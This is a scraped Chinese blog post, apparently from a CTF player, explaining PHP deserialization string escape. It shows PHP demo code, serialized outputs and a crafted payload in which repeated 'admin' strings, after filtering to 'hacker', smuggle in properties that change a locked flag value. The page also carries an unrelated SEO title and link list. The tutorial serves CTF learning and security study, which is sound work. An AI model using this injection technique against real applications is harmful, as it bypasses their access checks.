当前位置: 首页 > news >正文

网站开场flash怎么做的wordpress 密码算法

网站开场flash怎么做的,wordpress 密码算法,网站建设设计公司,wordpress 自动删除文章前言 最近在打西电的新生赛&#xff0c;有道反序列化的题卡了很久&#xff0c;今天在NSS上刷题的时候突然想到做法&#xff0c;就是利用字符串逃逸去改变题目锁死的值&#xff0c;从而实现绕过 为了研究反序列化的字符串逃逸 我们先简单的测试下 原理 <?php class escape…

前言

最近在打西电的新生赛,有道反序列化的题卡了很久,今天在NSS上刷题的时候突然想到做法,就是利用字符串逃逸去改变题目锁死的值,从而实现绕过

为了研究反序列化的字符串逃逸
我们先简单的测试下

原理

<?php
class escape{                                                                   public $name;                                                 public $psword;                                            public $flag;       public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}                   
}
$a=new escape('admin','123456');
echo serialize($a);
?> 

输出结果为

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

假设我们增加一个检测函数,去替换我们序列化之后的值,则

<?php
class escape{                                                                   public $name;                                                 public $psword;                                            public $flag;       public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}                   
}
function filter($s){return str_replace("admin","hacker",$s);
}$a=new escape('admin','123456');
$a_filter = filter(serialize($a));
echo $a_filter;
?> 

输出结果为

O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

我们比对下这两串输出结果

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

可以发现下面那一串的hacker的长度与实际长度不匹配
假设当$flag=1时回显flag,由于题目是改不了的,那么我们就可以利用字符串逃逸来实现

目标字符串

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}

我们可以把";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}写入到name的值里面,然后通过admin替换hacker的长度差值与之相等即可

我们先写入name里,然后计算下长度为44+5

O:6:"escape":3:{s:4:"name";s:49:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

由于我们要挤掉后面长度为44的字符串,构造44*admin
payload

O:6:"escape":3:{s:4:"name";s:49:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

即实例化上传的为

<?php
class escape{                                                                   public $name;                                                 public $psword;                                            public $flag;       public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}                   
}
function filter($s){return str_replace("admin","hacker",$s);
}$a=new escape('adminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}','123456');$a_filter = filter(serialize($a));
$a_filter_unseri = unserialize($a_filter);
var_dump($a_filter_unseri);

我们可以看到flag的值变为1,成功绕过
在这里插入图片描述

http://www.yayakq.cn/news/237004/

相关文章:

  • 企业网站建设ejiew网站虚拟空间购买
  • 建设工程规范下载网站网站友情链接美化代码
  • 莱州网站建设服务关于网上商城的推广方法
  • 游戏开发网站建设台州大型网站建设
  • 做网站用什么开源程序十大创意网站
  • 有哪些网站程序网站开发外文文献
  • 如何提高网站的点击率凡客建网站
  • 相册特效手机网站鞍山怎么样做一个自己的网站
  • 江苏优质网站制作公司怎么个人网站设计
  • 珠宝首饰网站开发做网站首选什么语言
  • 房地产网站加盟wordpress电商模板下载
  • 个人网站服务器用家用光纤宽带做网站
  • 榆林哪里做网站wordpress集成qq登录
  • 基于.NET的电子商务网站开发1688网站链接图片怎么做
  • 网站建设的互动性wordpress微信模块插件
  • 潍坊网络建站模板集团做网站
  • 南宁网站建站公司织梦模板添加网站地图
  • 动易论坛官方网站莱州房产网房产信息
  • 手机网站自动跳转北京做网站的外包公司
  • 网站优化排名工具百度网站怎样做推广
  • 苏州相城做网站哪家好专业seo优化外包
  • 做视频网站好做吗常德找工作网站
  • 做公司网站宣传公司蕲春县住房和城乡建设局网站
  • 好看大方的企业网站源码.net定制型网站建设价格
  • 阿米纳网站建设万全做网站wl17581
  • seo建站优化广告设计网站素材
  • 白银市建设管理处网站湖北北京网站建设
  • 加强网站建设的措施官方网站建设 在线磐石网络
  • 搜索设置 网站宿州网站建设多少钱
  • 网站前台做好之后再怎么做网站怎么提高百度权重